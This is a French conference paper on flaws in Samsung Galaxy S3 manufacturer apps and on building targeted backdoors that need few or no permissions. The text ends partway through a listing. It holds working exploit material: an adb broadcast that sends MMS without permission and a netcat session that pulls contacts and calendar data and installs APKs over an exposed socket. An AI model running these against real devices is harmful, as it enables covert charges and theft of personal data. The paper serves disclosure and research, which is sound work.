Sécurité des applications Android constructeurs et construction de backdoors ciblées
|
|
|
- Catherine Dufour
- il y a 10 ans
- Total affichages :
Transcription
1 Sécurité des applications Android constructeurs et construction de backdoors ciblées André Moulu Quarkslab Résumé Android est le système mobile le plus répandu devant ios [3]. Sa sécurité est souvent remise en cause par la présence de malwares, installés principalement depuis des markets alternatifs. Un utilisateur soucieux de sa sécurité et ayant eu un minimum de sensibilisation à la sécurité n installera pas d applications provenant de sources non sûres et demandant des permissions a priori inutiles à son fonctionnement (envoi de SMS, accès aux s, etc.). Est-il en sécurité pour autant? De nos jours, les smartphones de grands constructeurs (Samsung, HTC, Sony, etc.) sont fournis avec une surcouche développée par le constructeur lui-même et offrant une multitude de services, parfois jamais utilisés par un utilisateur lambda. Or, les applications fournissant ces services, dites OEM, ne peuvent être supprimées que par un utilisateur disposant des droits root sur son smartphone. De plus, la suppression de certaines applications OEM peut entraîner une instabilité, voire un dysfonctionnement du smartphone. La présence de vulnérabilités dans ces applications OEM expose alors les utilisateurs à des attaques ciblées via des backdoors nécessitant aucune ou très peu de permissions car réutilisant celles des applications vulnérables. Ces backdoors ciblent certes un modèle spécifique, mais ces surcouches des constructeurs sont généralement réutilisées en grande partie dans tous leurs modèles exposant ainsi les équipements récents aux mêmes vulnérabilités. Nous étudierons, dans cet article, le cas du smartphone Samsung Galaxy S3, modèle vendu à plus de 50 millions d exemplaires en mars 2013 [2]. 1 Introduction à Android Android n est pas un système nouveau et de nombreuses introductions à son sujet existent déjà dans la littérature. Par conséquent, nous nous contenterons de rappeler brièvement dans cette partie le format d une application, les différents composants rencontrés lors de la recherche de vulnérabilités ainsi que le modèle de sécurité mis en place par le système Android. Le lecteur intéressé par une introduction plus approfondie pourra s orienter vers l article présentant le modèle de sécurité d Android dans le numéro 51 du magazine MISC [4] et la présentation faite au SSTIC en 2011 par N.Ruff [5].
2 222 Sécurité des applications Android constructeurs 1.1 Le format d une application Android Une application Android prend généralement la forme d un fichier dont l extension est.apk. Il s agit cependant d une simple archive ZIP. Cette archive contient différents éléments dont les plus importants, lors de la recherche de vulnérabilités, sont : AndroidManifest.xml : un fichier indiquant au système le nom de l application et les différentes propriétés de celle-ci comme les permissions qu elle demande, ses composants actifs, etc. ; classes.dex : le code exécutable de l application Android sous la forme de bytecode Dalvik ; les bibliothèques de fonctions.so qui sont appelées via JNI (Java Native Interface). Les applications constructeurs (ou OEM) sont généralement localisées dans le dossier /system/app. Cependant, les APK associés ne contiennent pas toujours de fichier classes.dex. Le code exécutable est alors substitué par un fichier ODEX ayant le même nom que le fichier APK, et dont l extension est.odex (listing 1). shell@android:/ system/app # ls AccuweatherDaemon.apk AccuweatherDaemon.odex AccuweatherWidget.apk AccuweatherWidget.odex AccuweatherWidget_Main.apk AccuweatherWidget_Main.odex AllShareCastWidget.apk AllShareCastWidget.odex Listing 1. Applications OEM sous la forme d ODEX Il s agit, en réalité, de bytecode Dalvik optimisé pour l équipement, au niveau du byte order entre autres, et le temps de chargement de l application. Puisque c est un format qui n est pas pris en charge directement par des outils permettant la conversion de bytecode DEX en bytecode Java comme dex2jar 1, il est nécessaire de passer, au préalable, par une opération de deodex afin d obtenir un fichier DEX sur lequel travailler. Ceci peut se réaliser grâce à l outil baksmali voir 2. voir
3 A. Moulu Les composants classiques d une application Une application comporte un ensemble de composants déclarés dans son fichier AndroidManifest.xml. Ces composants ont une fonction précise et des caractéristiques qui leurs sont propres. Activity Les Activity sont des interfaces graphiques permettant les interactions avec l utilisateur via des boutons ou des zones de saisies par exemple. Chaque fenêtre affichée à l utilisateur est en réalité une Activity. BroadcastReceiver Les BroadcastReceiver sont des composants qui permettent de se mettre à l écoute de messages, appelés Intent, diffusés en broadcast par le système ou une application. Le système émet, par exemple, des messages lorsque le smartphone vient de démarrer, lorsqu une carte SD vient d être insérée ou lors d un changement de statut de la batterie. Les applications qui souhaitent réagir à ce type d événements doivent définir un BroadcastReceiver en spécifiant le type de messages pour lesquels ils écoutent au travers d un filtre. ContentProvider Les ContentProvider rendent accessible des données provenant de sources arbitraires (base de données distante ou locale SQLite, fichiers dans un dossier spécifique, fichiers XML, etc.) en standardisant leur accès via une interface prédéfinie. Cette interface force les ContentProvider à définir des méthodes comme query(), delete(), insert(), update(), etc. Ceci permet à une application, d obtenir par exemple une liste de contacts via un ContentProvider, sans avoir à se soucier de la manière avec laquelle cette information est stockée dans le système. C est le rôle de l application qui a définie le ContentProvider de récupérer l information et de la retourner au composant appelant. Service Les Service sont des composants qui fonctionnent en arrièreplan et permettent des actions sur le long terme. Ces composants ne disposent pas d interface graphique. Une application utilisera, par exemple, un service afin de synchroniser le contenu de la boite à intervalles réguliers. Intent Un Intent n est pas un composant d une application, mais plutôt un objet que l on peut assimiler à un message qui comporte une action et
4 224 Sécurité des applications Android constructeurs parfois un destinataire explicite et/ou des données arbitraires. Les Intent sont émis par le système ou par un composant d une application, et permettent la communication inter ou intra-application. Ils sont utilisés pour afficher des Activity, lancer des Service ou encore diffuser des informations à plusieurs composants de type BroadcastReceiver à la fois. Le code du listing 2 permet le lancement de l Activity MyActivity. Il s agit d un Intent explicite puisque le nom du composant de destination est spécifié en paramètre. startactivity(new Intent(this, MyActivity.class)); Listing 2. Création d un Intent explicite Le code du listing 3, quant à lui, émet un Intent implicite, puisque nous ne précisons pas le composant destinataire. Le système, en fonction de l action Intent.ACTION_VIEW et des caractéristiques de ses données (le scheme, l host, etc.), cherchera l application la plus apte à gérer cet Intent. Intent MyIntent = new Intent(Intent. ACTION_VIEW); MyIntent.setData(URI.parse(" quarkslab.com")); startactivity(myintent); Listing 3. Création d un Intent Le mécanisme de sélection du composant de destination à partir d un Intent implicite repose sur des intent-filter. Il s agit d éléments ajoutés au fichier AndroidManifest.xml qui permettent de spécifier le format ou la valeur des champs (action, category, data, etc.) qu un Intent doit respecter pour être reçu par un composant. Chaque composant, hormis les ContentProvider, peut spécifier un nombre arbitraire d intent-filter. Un exemple de intent-filter est donné dans le listing 4. L intent-filter est attribué à un BroadcastReceiver. Celui-ci indique que le composant SMSReceiver écoute les Intent ayant pour action android.provider.telephony.sms_received. <receiver android:name=". SMSReceiver"> <intent -filter> <action android:name="android.provider. telephony. SMS_RECIEVED"/> </intent -filter> </receiver> Listing 4. intent-filter attribué à un BroadcastReceiver
5 A. Moulu 225 Exposition des composants Par défaut, les différents composants présentés ci-dessus, à l exception des ContentProvider, ne sont pas exportés. Afin qu ils soient exportés et donc accessibles à n importe quelle application, il est nécessaire de modifier le fichier AndroidManifest.xml pour que ces composants possèdent l attribut exported à true ou qu ils aient un intent-filter configuré pour la résolution d Intent implicite. Il convient de remarquer que si un composant est exporté, mais qu une permission est définie, il ne sera accessible que par les applications possédant cette permission. Un ContentProvider est lui toujours exporté par défaut, jusqu à la version 17 de l API Android [1]. Si une application possède l attribut minsdkversion ou targetsdkversion à 17 ou plus, alors le ContentProvider n est pas exporté par défaut. Pour les versions antérieures, il faut positionner explicitement l attribut exported à false si l on souhaite bloquer l accès à ce composant en dehors de l application qui le définit. Un ContentProvider a également la spécificité d avoir une permission contre la lecture et une contre l écriture via respectivement les attributs readpermission et writepermission. Un erreur fréquente des développeurs d applications Android est de protéger un ContentProvider via une permission en écriture en pensant qu elle protégera de la lecture et inversement, exposant ainsi partiellement le ContentProvider. 1.3 Le modèle de sécurité d Android Un utilisateur par application La sécurité des applications sous Android repose sur le principe du cloisonnement. Chaque application est signée par un développeur et, par défaut, son installation entraîne la création d un utilisateur qui sera affecté à cette application sur le système. Chaque application est, par conséquent, isolée des autres par l utilisation d un uid différent. Cependant, il est possible de partager l uid d une autre application, via le mécanisme du shareduserid. Ce cas de figure n est réalisable que lorsque l application qui demande à partager l uid d une autre application est signée par le même certificat que l application qui possède l uid voulu. Dans le cas où le certificat ayant signé l application est différent, l installation échoue. L utilisation d un uid par application permet une séparation entre les processus mais également sur le système de fichier. Cependant, ceci ne protège évidemment pas contre la création de fichiers world readable ou world writeable.
6 226 Sécurité des applications Android constructeurs Le système de permissions Afin de protéger l utilisateur contre des applications ayant des actions potentiellement malveillantes 3, mais également pour limiter l impact en cas de compromission d une application, chaque application doit demander l autorisation au système pour réaliser des actions sensibles. Cela se traduit par la présence d une liste de permissions requises par l application au sein de son fichier AndroidManifest.xml. Un exemple de demande de permissions est détaillé sur le listing 5. <?xml version="1.0" encoding="utf -8"?> <manifest xmlns:android=" schemas.android.com/apk/res/android" android:versioncode="1" android:versionname="1.0" package="com. sample"> <uses - permission android:name="android. permission.internet" /> <uses - permission android:name="android. permission. RECEIVE_SMS" /> <uses - permission android:name="android. permission.send_sms" /> <uses - permission android:name="android. permission.read_sms" /> <uses - permission android:name="android. permission. CALL_PHONE" /> </manifest> Listing 5. Demande de permissions au système via AndroidManifest.xml Lors de l installation d une application, la liste des permissions demandées est affichée à l utilisateur afin qu il soit conscient des actions qu elle peut être amenée à réaliser. L utilisateur est alors libre d accepter ou de refuser l ensemble de ces permissions, sachant qu il n est pas possible pour un utilisateur d en accepter qu une partie. Chaque permission demandée a été au préalable définie par le système ou une application tierce. Si ce n est pas le cas, elle doit être définie dans le fichier AndroidManifest.xml de l application en elle-même. La définition d une permission permet de lui attribuer : un nom unique ; un niveau de protection à travers l attribut protectionlevel ; une description. L attribut protectionlevel peut posséder les valeurs suivantes : normal : il s agit du niveau le plus bas d une permission. Les permissions avec ce protectionlevel ne sont pas affichées à l utilisateur lors de l installation ; dangerous : les permissions avec ce protectionlevel nécessitent l autorisation explicite de l utilisateur lors de l installation ; 3. Ces actions malveillantes peuvent entraîner un coût supplémentaire pour l utilisateur ou porter atteinte à la confidentialité de ses informations.
7 A. Moulu 227 signatureorsystem : les applications utilisant des permissions avec ce protectionlevel nécessitent d avoir été signées par l application qui a déclaré cette permission ou d être uid system, lequel est accessible uniquement par les applications OEM ; signature : les applications avec ce protectionlevel nécessitent d avoir été signées par l application qui a déclaré cette permission. Une permission peut être utilisée par le système pour protéger l appel de certaines API. Par exemple, AccountManager.getAccounts() est protégée par la permission android.permission.get_accounts. Une permission peut être également un prérequis pour pouvoir émettre certains Intent. Ainsi, l Intent android.intent.action.call est protégé par la permission android.permission.call_phone. Enfin, une permission permet également de protéger tout type de composant d une application Android ; si l application tierce ne possède pas la permission adéquate, elle ne pourra pas communiquer avec le composant cible. Par exemple, l accès au ContentProvider content://contacts en lecture nécessite la permission android.permission.read_contacts. Lorsqu une permission est attribuée à une application, elle est attribuée en réalité à son uid. Ceci implique que le code natif exécuté par une application Android via JNI est également soumis aux mêmes permissions que le bytecode Dalvik. De plus, chaque application utilisant un shareduserid possède l ensemble des permissions attribuées à chaque application possédant cette uid. Ainsi, une application ne demandant aucune permission mais étant shareduserid system, disposera de l ensemble des permissions des autres applications ayant l uid system. 2 Méthodologie suivie 2.1 Une grande surface d attaque Lorsque l on cherche à réaliser une backdoor ciblant un smartphone Android et utilisant très peu, ou voire aucune permission, la surface d attaque peut se limiter aux dossiers suivants : /system/app /system/framework /system/bin /system/lib Ces quatre dossiers contiennent les éléments de base fournis sur un smartphone Android. Ainsi, une application vulnérable dans le dossier /system/app sera également présente sur l ensemble des téléphones du
8 228 Sécurité des applications Android constructeurs même modèle, intégrant éventuellement les modifications apportées par les opérateurs. Le périmètre fixé pour cette étude concernait uniquement les dossiers /system/app et /system/framework. Ces deux dossiers contiennent les applications OEM ainsi que le framework Android qui est parfois modifié par le constructeur. 2.2 Récupération des éléments nécessaires à l étude Dans un premier temps, il est intéressant de rapatrier le contenu des deux dossiers constituant sur la surface d attaque, /system/app et /system/framework, mais également /system/lib qui contiendra certaines bibliothèques de fonctions natives utilisées par les applications OEM. Ceci peut être réalisé très facilement en utilisant l outil adb 4 comme présenté dans le listing 6 : $ adb pull /system/app app/ $ adb pull /system/ framework framework/ $ adb pull /system/lib lib/ Listing 6. Récupération des éléments constituant la surface d attaque La majorité des applications OEM récupérées, tout comme les fichiers du dossier /system/framework, sont au format ODEX. Pour pouvoir utiliser la plupart des outils d analyse et d instrumentation qui existent pour Android, il faut les convertir en fichier DEX standard puis les placer sous le nom de classes.dex dans le fichier APK correspondant. Le script shell présenté dans le listing 7 permet l automatisation de cette procédure. #!/bin/bash for i in $(ls app/*. odex); do i=$(basename $i); APPNAME=$i%.*; echo -n "$i "; (baksmali -x app/$i -o app/$appname -d framework && smali app/ $APPNAME -o app/classes.dex && zip -j -q app/$appname.apk app/ classes.dex && rm app/classes.dex && echo "ok") echo "echec"; done Listing 7. Deodex chaque fichier.odex et reconstruit un APK avec un fichier classes.dex 4. adb pour Android Debug Bridge. Cet outil est fourni dans le SDK Android.
9 A. Moulu La recherche de vulnérabilités Bien que la surface d attaque ne soit constituée que de deux dossiers, elle reste énorme. Le dossier /system/app comptabilise à lui seul 216 applications. Il a fallu automatiser la recherche d applications potentiellement vulnérables, et la détection de modifications dangereuses sur des éléments standards comme le framework. Les contraintes fixées au début de cette recherche étaient de pouvoir exploiter ces vulnérabilités sans utiliser de permission, ou un minimum de permissions. Pour pouvoir exploiter une vulnérabilité dans une application tierce, il faut soit provoquer une action qui l active puis parvenir à une fonction vulnérable, soit communiquer directement avec un de ses composants. Ces communications s effectuent à travers les Intent et sont soumises à des règles : Il est possible de communiquer avec un composant que si celui-ci est exporté et non protégé par une permission ; Certains composants sont exposés par défaut jusqu à une certaine version du SDK ; L application est elle compilée pour une version du SDK «vulnérable»?... L énumération des composants exportés peut se réaliser en grande partie depuis le fichier AndroidManifest.xml d une application. Un script python nommé A3SA (Android Application Attack Surface Analyzer) a été développé. Il permet d analyser le contenu du fichier AndroidManifest.xml et d appliquer les différentes règles sur chacun des composants (en fonction de leur type) afin de savoir s il est exporté et sous quelle(s) condition(s). Cependant, se baser uniquement sur le fichier AndroidManifest.xml ne suffit pas pour détecter la totalité des composants d une application. Il est en effet possible d enregistrer dynamiquement des composants de type BroadcastReceiver, et ces derniers n ont pas à être déclarés dans le fichier AndroidManifest.xml. Le script A3SA permet également de détecter des éléments intéressants pour la recherche de vulnérabilités, comme l utilisation d API permettant l exécution de commandes shell (Runtime.exec() et ProcessBuilder.start()), l utilisation de JNI ou la création d une socket en écoute. Notre script s appuie pour cela sur le framework Androguard. L ensemble des applications a été analysé sommairement par A3SA et inséré dans une base de données de type NoSQL. Ceci permet
10 230 Sécurité des applications Android constructeurs d obtenir l état global du système et de réaliser des requêtes intéressantes lorsque l on effectue de la recherche de vulnérabilités. Il est, par exemple, très simple de rechercher l ensemble des applications qui ont la permission INSTALL_PACKAGES ou l ensemble des applications qui ont un attribut shareduserid ayant pour valeur android.uid.system (listing 8). Il est également intéressant de prendre en compte, dans notre recherche, si certaines permissions sont réellement utilisées. Dans le cas d INSTALL_PACKAGES, si une application invoque PackageManager.installPackage(), il est alors intéressant de trouver son utilisation dans le code de l application, afin de vérifier s il existe un moyen d amener l application à exécuter la portion de code concernée. Si l application n appelle pas PackageManager.installPackage(), il sera nécessaire de trouver un moyen d exécuter du code arbitraire dans le contexte de l application pour pouvoir utiliser la permission INSTALL_PACKAGES. # Recuperation des applications avec pour permission INSTALL_PACKAGES > db.gs3.find( permission:/ INSTALL_PACKAGES/, filename:1,_id:0) "filename" : "DttSupport.apk" "filename" : "Kies.apk" "filename" : " MtpApplication.apk" "filename" : " PackageInstaller.apk" "filename" : "Phonesky.apk" "filename" : " PreloadInstaller.apk" "filename" : "SamsungApps.apk" "filename" : " SamsungAppsUNA3.apk" "filename" : " Samsungservice.apk" "filename" : "SSuggest.apk" "filename" : "TMServerApp.apk" # Distinction entre les applications qui demandent juste INSTALL_PACKAGES et celles qui utilisent également PackageManager. installpackage() > db.gs3.find( permission:/ INSTALL_PACKAGES/, filename:1,_id:0).count () 11 > db.gs3.find( permission:/ INSTALL_PACKAGES/, use_installpackage:true, filename:1,_id:0).count() 10 # MtpApplication.apk n utilise pas PackageManager. installpackage() > db.gs3.find( permission:/ INSTALL_PACKAGES/, use_installpackage:false, filename:1,_id:0) "filename" : " MtpApplication.apk" # Compte le nombre d application shareduserid system > db.gs3.find(" manifest. shareduserid ":" android.uid.system",).count() 41 Listing 8. Exemples de requêtes réalisables sur la base de données NoSQL Cette base de données permet également de comparer plusieurs versions d un système (issues de la mise à jour du firmware, de ROMs pro-
11 A. Moulu 231 venant de différents opérateurs téléphoniques, etc.) afin de vérifier la correction (ou non) de vulnérabilités via la mise en place de permissions plus restreintes ou d autres protections. 3 Conception d une backdoor ciblée pour le Galaxy S3 Cette partie présente quelques vulnérabilités découvertes durant l étude du Samsung Galaxy S3. Il s agit de vulnérabilités qui ont été corrigées durant cette étude ou qui ont le plus de chance d être corrigées d ici la publication de cet article. Dans le cas où certaines vulnérabilités présentées ne sont pas corrigées par Samsung, l auteur mettra à disposition des utilisateurs des solutions permettant de corriger ces vulnérabilités. 3.1 Envoi de SMS/MMS sans permission et exfiltration de fichiers La majorité des malwares sous Android ne font qu envoyer des SMS surtaxés. Afin d infecter la maximum de personnes, les créateurs de malwares injectent leur code dans une application payante populaire (comme un jeu) et le redistribuent gratuitement sur des markets alternatifs. Le fait qu un jeu demande la permission d envoyer des SMS peut paraître suspect. En revanche, être capable d envoyer des SMS surtaxés, sans demander explicitement une permission via le fichier AndroidManifest.xml (donc, à l insu de l utilisateur) serait donc intéressant pour des malwares. En effet, ceux-ci seraient plus furtifs et, par conséquent, pourraient infecter plus de personnes avant d être éventuellement détectés. La vulnérabilité présentée ici est issue de l application SecMms.apk. Celle-ci expose un BroadcastReceiver nommé ui.mmsbgsender, dont la méthode onreceive() est appelée à la réception d un Intent avec pour action com.android.mms.quicksnd (listing 9). public void onreceive(context context, Intent intent) Log.v("MMSBGSender", "onreceive"); if(intent. getaction().equals("com.android.mms.quicksnd")) Log.i(" MMSBGSender", " Bacvkground Sending for quick send"); if(intent. getstringextra("mms_to")!= 0) Log.i(" MMSBGSender", "Sending MMS in background for Quick Send."); new MMSRequestHandler( paramcontext). doinbackground(new Intent[] intent ); else Log.i(" MMSBGSender", "Starting Activity for Quick Send."); sendquickmessage(context, intent);
12 232 Sécurité des applications Android constructeurs Listing 9. Méthode onreceive() du BroadcastReceiver ui.mmsbgsender Comme le montre le code, à la réception d un Intent, si l action est com.android.mms.quicksnd et si aucun numéro n est passé en paramètre (mms_to), une Activity est lancée pour que l utilisateur puisse compléter/saisir son message. Dans le cas où un numéro est spécifié en paramètre, une instance de l objet MMSRequestHandler est créée et sa méthode doinbackground() est appelée avec l Intent en paramètre (listing 10). protected Void doinbackground(intent[] paramarrayofintent) Intent localintent = paramarrayofintent [0]; Log.i(" MMSBGSender", " MMSRequestHandler doinbackground method invoked" ); if ( localintent. getaction().equals("com.android.mms.quicksnd")) String str = localintent. getstringextra("mms_to"); if ((str!= null) && (str.length() > 1)) mtoaddress = str.split(";"); Convert( mtoaddress); msubject = localintent. getstringextra(" mms_subject"); mappname = localintent. getstringextra(" mms_appname"); mmsgid = localintent. getstringextra(" mms_msgid"); mmsgtext = localintent. getstringextra("mms_text"); mimagefilename = localintent. getstringextra(" mms_image"); mimageuri = (Uri) localintent. getparcelableextra(" mms_image_uri"); missaveaction = localintent. getbooleanextra("mms_save", false); try SendMMS(); return null; catch ( Exception localexception) Log.e(" MMSBGSender", " Exception caught", localexception); Listing 10. Méthode doinbackground() de MMSRequestHandler Celle-ci se contente de récupérer les différents paramètres optionnels que peut contenir l Intent, comme le sujet du MMS, son contenu ou
13 A. Moulu 233 le chemin vers des fichiers à attacher en pièce-jointe et envoie ce MMS grâce à la méthode SendMMS(). Il suffit donc d émettre un Intent en broadcast avec les paramètres adéquats pour générer l envoi d un MMS arbitraire sans posséder aucune permission : adb shell am broadcast -a com.android.mms.quicksnd --es mms_to "* TELEPHONE*" --es mms_subject "* SUJET*" --es mms_text "* MESSAGE*" Listing 11. Exemple d Intent permettant l envoi d un MMS sans permission 3.2 Obtention des droits de type CRUD sur les SMS, MMS, Contacts, etc. La vulnérabilité ci-dessous est un bon exemple de ce que l on peut trouver parmi les applications OEM. Avec très peu de permissions, il est possible de réaliser de nombreuses actions normalement protégées. Pour exploiter la vulnérabilité que nous allons décrire dans cette sous-section, la permission INTERNET suffit. Après de nombreux mois d existence 5, celle-ci a été corrigée durant l étude sur le Samsung Galaxy S3. Cependant, la correction n a pas été appliquée à tous les équipements Samsung utilisant cette application (voir section 4). L application wssyncmlnps.apk expose un BroadcastReceiver nommé smlnpsreceiver qui répond à des Intent relatifs à Kies 6 comme com.intent.action.kies_wsservice_start ou com.intent.action.kies_wsservice_start_wifi. L analyse de la méthode onreceive() du BroadcastReceiver permet de voir que le service smlnpsservice est lancé à la réception d un Intent ayant comme action com.intent.action.kies_wsservice_start (listing 12). public void onreceive(context paramcontext, Intent paramintent) if( paramintent. getaction(). equals("com.intent.action. KIES_WSSERVICE_START")) smldebug. SML_DEBUG(2, " KIES_WSSERVICE_START"); wifi_connected = false; usb_connected = true; 5. Nous pensons que cette vulnérabilité date de la sortie du Samsung Galaxy S2. 6. Kies est l équivalent d itunes pour les équipements Samsung.
14 234 Sécurité des applications Android constructeurs paramcontext. stopservice( new Intent(paramContext, smlnpsservice.class) ); paramcontext. startservice( new Intent(paramContext, smlnpsservice.class) ); Listing 12. Lancement du service smlnpsservice lors de la réception d un Intent KIES_WSSERVICE_START Ce service, lorsqu il est démarré, exécute la méthode NpsServiceTask dans un thread qui se positionne en écoute sur le port TCP Chaque connexion reçue sur ce port est traitée dans un thread par l objet smlnpshandler. Il est alors possible, depuis une application malveillante, de réaliser des actions privilégiées en eméttant les données adéquates sur le port TCP Dans cet exemple, l application malveillante requiert uniquement la permission INTERNET nécessaire à la création d une socket sous Android. La méthode work() de smlnpshandler récupère 3 octets sur la socket et les interprète comme l identifiant d une commande à exécuter à travers une structure de contrôle switch (listing 13). Selon la commande à appeler, l interprétation des 3 octets qui suivent diffère. protected void work() if(this.socket!= 0) socketis = this.socket. getinputstream(); socketos = this.socket. getoutputstream(); cmdline = this.readline(socketis); if((cmdline!= 0) && (cmdline.length()!= 0)) cmdinformation = new String[3]; v5 = cmdline.indexof("begin"); cmdinformation [0] = cmdline. substring(0, 3); if(v5 <= 3) cmdinformation [1] = cmdline. substring(3, cmdline.length()); else cmdinformation [1] = cmdline. substring(3, v5); cmdinformation [2] = cmdline. substring(v5, cmdline.length()); v5 = Integer.valueOf( cmdinformation [0]). intvalue(); switch(v5) // prise en compte du code commande Listing 13. Parsing des données reçues sur la socket
15 A. Moulu 235 Le listing 14 présente des exemples de méthodes pouvant être appelées à travers la socket : case 70: // recuperation du contact dont l id est cmdinformation [1] v1 = this. GetContact( cmdinformation [1]); v2 = 0; break; case 72: // recuperation de la liste des id des contacts sur le telephone v1 = this. GetContactsIndexArray( com.wssnps.database. smlcontactitem$storagetype. SMLDS_PIM_ADAPTER_CONTACT_PHONE.getId()); v2 = 0; break; case 90: // recuperation de l entree cmdinformation [1] dans le calendrier v1 = this. GetCalendar( cmdinformation [1]); v2 = 0; break; case 453: // installation des APK presents dans /sdcard/restore/ v1 = Integer.valueOf( cmdinformation [1]. trim()).intvalue(); if(v1 <= 0) v1 = " -1\ x0aerror:length is 0\ x0a"; v2 = 0; else v1 = this.readbyte(socketis, v1); if(v1!= 0) v0 = com.wssnps.database. smlbackuprestoreitem. RestoreApplicationStart(v1); if(v0!= 0) v1 = new StringBuilder().append( String.valueOf(v0.length) ).append("\x0a").tostring(); v2 = 0; else v1 = " -1\ x0aerror:outbuf is null\x0a"; v2 = 0; else v1 = " -1\ x0aerror:read bytes.\ x0a"; v2 = 0; break; Listing 14. Exemple de commandes reconnues par la méthode work() Par exemple, la commande 453 permet l installation de fichiers APK situés dans le dossier /sdcard/restore par l émission d un Intent en broadcast avec pour action
16 236 Sécurité des applications Android constructeurs com.intent.action.kies_start_restore_apk. L Intent émis sera reçu et traité par l application Kies.apk. Aujourd hui, cette vulnérabilité a été corrigée en ajoutant une permission sur l intent-filter concernant l action com.intent.action.kies_wsservice_start. La permission définie est android.permission.com_wssnps qui a son protectionlevel positionné à signatureorsystem. Le listing 15 montre la récupération d informations depuis le service en écoute. Les éléments en rouge sont les données envoyées par l attaquant : $ adb shell am broadcast -a com.intent.action. KIES_WSSERVICE_START Broadcasting: Intent act=com.intent.action. KIES_WSSERVICE_START Broadcast completed: result=0 $ adb shell netstat grep 1108 tcp6 0 0 :::1108 :::* LISTEN $ adb forward tcp:1108 tcp:1108 $ nc localhost v Connection to localhost 1108 port [tcp/*] succeeded! # getcalendar (1) 0 BEGIN: VCALENDAR VERSION :1.0 BEGIN:VEVENT SUMMARY;CHARSET=UTF -8; ENCODING=QUOTED - PRINTABLE:Sstic 2013 DESCRIPTION;CHARSET=UTF -8; ENCODING=QUOTED - PRINTABLE:Conf LOCATION;CHARSET=UTF -8; ENCODING=QUOTED - PRINTABLE:Rennes DTSTART : T170000Z DTEND : T180000Z X-ALLDAY:UNSET X- CALENDARGROUP:1 UID : END:VEVENT END: VCALENDAR 072# permet de recuperer la liste des id des contacts sur le telephone ( pas la SIM) 0 2 # nombre de contacts 8,9, # id des contacts 070 9# getcontact (9) 0 BEGIN:VCARD VERSION :2.1 N;CHARSET=UTF -8; ENCODING=QUOTED - PRINTABLE:; Kevin ;;;;;;; TEL;HOME;CELL: ;HOME;CHARSET=UTF -8; ENCODING=QUOTED - PRINTABLE: [email protected] X-DIRTY:1 X-ACCOUNT:vnd.sec.contact.phone;vnd.sec.contact.phone END:VCARD
17 A. Moulu # permet l installation des APK present dans le dossier /sdcard/ restore/ via la fonction RestoreApplicationStart() aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Listing 15. Récupération d informations via le service en écoute En communicant avec le service 7, il est possible de réaliser les actions suivantes (liste non exhaustive) : envoyer, lire, modifier, supprimer des SMS/MMS ; ajouter, lire, modifier, supprimer des contacts/mémo/entrées du calendrier/journal d appel ; réaliser un backup des différents éléments comme les comptes s ; installer une application arbitraire Obtention des privilèges system Présentation de la vulnérabilité L élévation de privilèges est quelque chose de recherché lors du développement d une backdoor. Android étant fondé sur Linux, le plus haut niveau d utilisateur est root (uid=0). Cependant, obtenir les droits root n est pas forcément nécessaire. En effet, il existe un autre utilisateur privilégié dans Android, inférieur à root, dont le nom est system (uid=1000). Seules les applications OEM qui le demandent peuvent obtenir cet uid 9 et ainsi pouvoir utiliser les permissions critiques protégées par un protectionlevel à signatureorsystem, comme la permission INSTALL_PACKAGES qui permet l installation d une application arbitraire sans interaction avec l utilisateur. Obtenir l uid system nécessite soit l exploitation d une vulnérabilité dans un binaire lancé en tant que system, soit l exploitation d une application OEM dont l attribut shareduserid présent dans le fichier AndroidManifest.xml est à com.android.system. Il est également possible de restreindre le périmètre, en n examinant que les applications OEM réalisant de l exécution de code dynamique. Ceci concerne, par exemple, le chargement de bytecode DEX à la volée via DexClassLoader, l utilisation du Javascript Bridge à travers les WebViews ou l exécution de commandes shell via Runtime.exec(). Ces critères sont pris en compte dans notre base de données NoSQL. Il est ainsi possible d obtenir la liste des applications répondants à ces 7. Nous rappelons que seule la permission INTERNET est nécessaire. Celle-ci autorise la création d une socket sous Android. 8. Nécessite l accès à la carte SD via une autre vulnérabilité. 9. À condition d être signées avec le bon certificat.
18 238 Sécurité des applications Android constructeurs critères et éviter d analyser l ensemble des applications shareduserid à com.android.system. Parmi les résultats retournés par la base de données NoSQL, l application servicemodeapp.apk souffre d une vulnérabilité de type escape shell digne des années 90. L application expose un BroadcastReceiver appelé FTATDumpReceiver (listing 16). <receiver name=". FTATDumpReceiver"> <intent -filter> <action name="com.android.sec. FTAT_DUMP"></action> </intent -filter> </receiver> <receiver name=". FTATDumpReceiver" permission="com.sec.android.app. servicemodeapp. permission. KEYSTRING"> <intent -filter> <action name="com.android.sec.faildump"></action> </intent -filter> </receiver> Listing 16. Fichier AndroidManifest.xml de l application servicemodeapp.apk Ce composant est défini deux fois dans le fichier AndroidManifest.xml de l application. La seconde définition le protège par la permission com.sec.android.app.servicemodeapp.permission.keystring, pour les Intent ayant comme action com.android.sec.faildump. Cependant, la première définition l expose aux Intent d action com.android.sec.ftat_dump. Lors de la récéption d un Intent, la méthode onreceive() (listing 17) de FTATDumpReceiver est appelée. public void onreceive(context paramcontext, Intent paramintent) String str1 = paramintent. getaction(); Log.i(" FTATDumpReceiver", " onreceive action=" + str1); if (str1.equals("com.android.sec. FTAT_DUMP")) String str3 = "FTAT_" + paramintent. getstringextra("filename"); Calendar localcalendar = Calendar. getinstance(); String str4 = str3 + new DecimalFormat("0000").format( localcalendar. get(1)); String str5 = str4 + new DecimalFormat("00").format(1 + localcalendar.get(2)); String str6 = str5 + new DecimalFormat("00").format( localcalendar. get(5)); String str7 = str6 + new DecimalFormat("00").format( localcalendar. get(11)); String str8 = str7 + new DecimalFormat("00").format( localcalendar. get(12));
